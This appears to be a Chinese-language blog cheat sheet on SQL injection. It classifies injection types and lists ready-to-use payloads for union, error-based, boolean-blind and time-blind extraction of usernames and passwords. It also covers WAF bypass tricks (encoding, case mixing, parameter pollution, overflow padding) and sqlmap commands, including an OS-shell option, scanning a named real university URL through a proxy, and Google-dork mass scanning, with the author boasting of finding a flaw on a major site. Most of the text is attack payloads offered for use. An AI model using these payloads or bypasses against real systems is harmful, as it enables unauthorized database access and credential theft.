一、分类
可以有以下几种不同的维度:
维度一:基于注入点值的属性
- 数字型
- 字符型
维度二:基于注入点的位置 - GET/POST
- COOKIE
- HEAD型
维度三:基于注入的程度和顺序 - 一阶注入
- 二阶注入
注:一阶注入指注入的语句直接对web应用产生了结果,二阶注入是间接产生结果,例如存储型xss(不太恰当),辅助别的漏洞来利用。
维度四:从服务器返回的响应
1、有回显
- 联合注入
- 堆查询注入
2、无回显 - 布尔盲注
- 延时盲注
二、几种类型的举例
1、数字型
?id=1 and 1=1#
?id=1 and 1=2# 判断是否存在注入
?id=1 order by i# 判断列数
?id=-1 union select 1,2,3,4,5 #看回显位
?id=-1 union select @@version,database(),datadir# 查出数据库版本、当前数据库、当前数据库的地址
以下是mysql的系统函数:
图片.png
要注入出数据库中的数据,就不得不提到mysql的系统表 information_schema
information_schema提供了访问数据库元数据的方式,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名或表名,列的数据类型,或访问权限等。在INFORMATION_SCHEMA中,有些只读表,它们实际上是视图,而不是基本表,所以无法看到与之相关的任何文件。
SCHEMATA:提供了当前mysql实例中所有数据库的信息,show databases的结果取之此表。
TABLES:提供了关于数据库中的表的信息(包括视图),详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息,show tables from schemaname的结果取之此表。
COLUMNS:提供了表中的列信息,详细表述了某张表的所有列以及每个列的信息,show columns from schemaname.tablename的结果取之此表。
STATISTICS:提供了关于表索引的信息,show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限):给出了关于全程权限的信息,该信息源自mysql.user授权表,是非标准表。
SCHEMA_PRIVILEGES(方案权限):给出了关于方案(数据库)权限的信息,该信息来自mysql.db授权表,是非标准表。
TABLE_PRIVILEGES(表权限):给出了关于表权限的信息,该信息源自mysql.tables_priv授权表,是非标准表。
COLUMN_PRIVILEGES(列权限):给出了关于列权限的信息,该信息源自mysql.columns_priv授权表,是非标准表。
CHARACTER_SETS(字符集):提供了mysql实例可用字符集的信息,SHOW CHARACTER SET结果集取之此表。
COLLATIONS:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY:指明了可用于校对的字符集,这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS:描述了存在约束的表,以及表的约束类型。
KEY_COLUMN_USAGE:描述了具有约束的键列。
ROUTINES:提供了关于存储子程序(存储程序和函数)的信息,此时,ROUTINES表不包含自定义函数(UDF),名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS:给出了关于数据库中的视图的信息,需要有show views权限,否则无法查看视图信息。
TRIGGERS:提供了关于触发程序的信息,必须有super权限才能查看该表。
数据库也可以这样查询出来:
?id=-1 union select 1,2,schema_name from information_schema.schemata limit 0,1# 逐个查出数据库,也可以group_concat(schema_name) 一锅端
注入出当前数据库之后就是查表(table)了:
?id=-1 union select table_name from information_schema.tables where table_schema=database() limit 0,1#
如法炮制查列:
?id=-1 union select column_name from information_schema.columns where table_name=user limit 0,1 #
表、列都出来了就爆字段了:
?id=-1 union select username,passwd from user limit 0,1 #
3、字符型:
注意闭合字符后面的单/双引号
?id=-1' union select username,passwd from user limit 0,1 #
?id=-1" union select username,passwd from user limit 0,1 #
报错:
涉及到如下几个函数:
- updatexml() 报错
- extractvalue() 报错
- floor()、count(*)、random()报错
- name_const() 报错
- exp()函数
(1)、UPDATEXML (XML_document, XPath_string, new_value)
限制了最大长度为32
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
替换select user部分的语句
(2)、EXTRACTVALUE (XML_document, XPath_string)
限制了最大长度为32
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
(3)、floor()、count()、random()报错*
公式:username=admin' and (select 1 from (select count(), concat(floor(rand(0)2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1
**(4)、name_const() **
低版本,数据重复报错
name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x
(5)、exp()函数
mysql>5.5.5
exp(x):计算e的x次方
Payload: and (EXP(~(select * from(select version())a)))
Exp()超过710会产生溢出。
将0按位取反就会返回“18446744073709551615”,而函数执行成功会返回0,所以将成功执行的函数取反就会得到最大的无符号BIGINT值,从而造成报错。
4、盲注:
(1)、true/false
页面显示就2种情况,正确或错误
- length()
- substr()
- ascii()
and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1,1))>101 %23 limit
(2)、基于时间的
根据时间线来判断,涉及到的函数:
Sleep(int time),执行将程序(进程)挂起一段时间,毫秒;
if(expr1,ecpr2,expr3)判断语句;
and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))%23
采用二分法逐个字母猜解
cookie、referer头、user-agent头:
图片.png
注入点变了,抓包注入,方法和上述相似
5、宽字节:
gbk 一个汉字2个字节
utf-8 一个汉字3个字节
mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)
如:
?id=1 %df'--->?id=1 %df'--->?id=1%df%5c'---->?id=1字' 单引号就逃逸了出来
根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以
把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c的编码,就可以进行宽字符注入。
参考:https://www.cnblogs.com/lcamry/articles/5625276.html
三、sql注入绕过
1、大小写混合
适用场景:
- 只针对小写或者大写的关键字匹配技术
- 正则表达式未使用 /i 参数,/expression/i 匹配时大小写不敏感便无法绕过
例如:
/index.php?id=-15 uNIoN sELeCt 1,2,3,4
2、两次 URL 编码
适用场景:
- 后端对请求参数额外做了一次 URL 解码,WAF 认为安全的参数经过解码后变得不安全
例如:
- /index.php?id=0%252f%252a/UNION%252f%252a/SELECT 1
后端对 id 参数进行 URL 解码,得到 0//UNION//SELECT
3、十六进制编码
例:
/index.php?page_id=-15 union select 1,2,3,4, SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
Unicode 编码
- 单引号:
%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7 - 空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
- 左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
- 右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
4、宽字节逃逸引号
适用场景:
- 前后端编码不一致,GBK/GB2312 与 UTF-8 混用
- 例如:
/index.php?name=0 %df' UNION SELECT 'xxxxx
5、使用注释符
- 减减号(--)
- /* */
- MySQL 条件注释
例:
/!50000SELECT/ 在 MySQL 5.0 及以上版本中等价于 SELECT
6、等价替代
- hex()、bin() => ascii()
- sleep() => benchmark()
- concat_ws() => group_concat()
- mid()、substr() => substring()
- @@user => user()
- @@datadir => datadir()
例如:无法使用 substring() 和 substr() 函数时:
?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74
substr((select 'password'),1,1) = 0x70 可以用 strcmp() 配合 left() 替代
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
7、运算符
and => &&、or => ||
= => <、>、like、regexp
与空格等价的字符
- SQLite: 0A, 0D, 0C, 09, 20
- MySQL: 09, 0A, 0B, 0C, 0D, A0, 20
- PostgreSQL: 0A, 0D, 0C, 09, 20
- Oracle 11g: 00, 0A, 0D, 0C, 09, 20
- MSSQL: 01, 02, 03, 04, 05, 06, 07, 08, 09, 0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 1A, 1B, 1C, 1D, 1E, 1F, 20
8、使用特殊符号
- 使用反引号
,例如 select
version()`,可以用来过空格和正则,一些情况下还可以将其作注释符用 - 神奇的"-+.",select+id-1+1.from users; "+"是用于字符串连接的,"-"和"."在此也用于连接,可以逃过空格和关键字过滤
- @ 符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
- MySQL function() as xxx 也可不用 as 和空格
- select-count(id)test from users //绕过空格限制
9、HTTP 参数控制
-
HPP (HTTP参数污染)
图片.png
例如:
/?id=1;select+1&id=2,3+from+users+where+id=1-
/id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users
针对多个同名参数,不同 Web 服务器处理方式:
-
HPF (HTTP参数分割)
例如:
- /a=1+union/&b=/select+1,pass/&c=/from+users%26*
最终查询语句:
select * from table where a=1 union/ and b=/select 1,pass/ limit /from users#
-
HPC (HTTP Parameter Contamination)
RFC2396定义了一些字符:
Unreserved(未保留): a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved(保留): ; / ? : @ & = + $ ,
Unwise(欠考虑): { } | \ ^ [ ] `
不同的Web服务器处理特殊请求时的不同处理:
图片.png
以魔术字符%为例, ASP/ASPX受影响
图片.png
10、缓冲区溢出
缓冲区溢出用于对付 WAF 在内的软件本身,不少 WAF 是由 C 语言编写,如果存在不安全的编码,WAF 在处理测试向量时超出了其缓冲区长度将引发不可预料的错误,从而可能绕过 WAF
例如:
?id=1 and (select 1)=(Select 0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26*
其中:A*1000 为 1000 个 A
11、整合绕过
组合使用上述绕过技巧,例如:
?id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/!uNIOn/+/!SeLECt/+1,2,3,4…
?id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM /information_schema/.tables/!WHERE/+/!TaBlE_ScHeMa/+like+database()– -
id=-725+/!UNION/+/!SELECT/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/!INFORMATION_SCHEM/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
SQL Filter 的实现和 Evalion (逃避)
- SQL注入使用最多的关键字
and, or, union, where, limit, group by, select, ', hex, substr, 0x - 检测它们的完整正则表达式
preg_match('/(and|or|union|where|limit|group by|select|'|hex|substr|\s)/i', $id) - 模糊测试及绕过技巧
通过conv(10-36], 10, 36)可以实现所有字符的表示
使用数学函数
四、关于sqlmap
--dbs 爆出数据库
--tables 数据表
--columns 列
--cookie="cookie的值" --level=2
--user-agent="UA值" --level=3或3以上
--referer="referer值" --level=3或3以上
--os--shell getshell 系统交互 前提:知道网站的物理路径(php探针、访问错误暴路径、、、、)
使用代理:
原型:
sqlmap.py --proxy=(http|https|socks4|socks5)://address:port --proxy-cred=username:password
例如:
./sqlmap.py -u "http://www.cauyt.edu.cn/gg/index.asp?depart=124" --proxy=http://120.198.233.211:8
如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
共有七个等级,默认为1:
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是3。
从文本中获取多个目标扫描
参数:-m
文件中保存url格式如下,sqlmap会一个一个检测
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
处理Google的搜索结果
参数:-g
sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
例子:
python sqlmap.py -g "inurl:".php?id=1""
(很牛B的功能,测试了一下,第十几个就找到新浪的一个注入点)
此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。
请求http数据
参数:--data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
参数拆分字符
参数:--param-del
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -
参考:
http://wooyun.jozxing.cc/static/drops/tips-143.html
http://wooyun.jozxing.cc/static/drops/tips-401.html
http://wooyun.jozxing.cc/static/drops/tips-5254.html
网友评论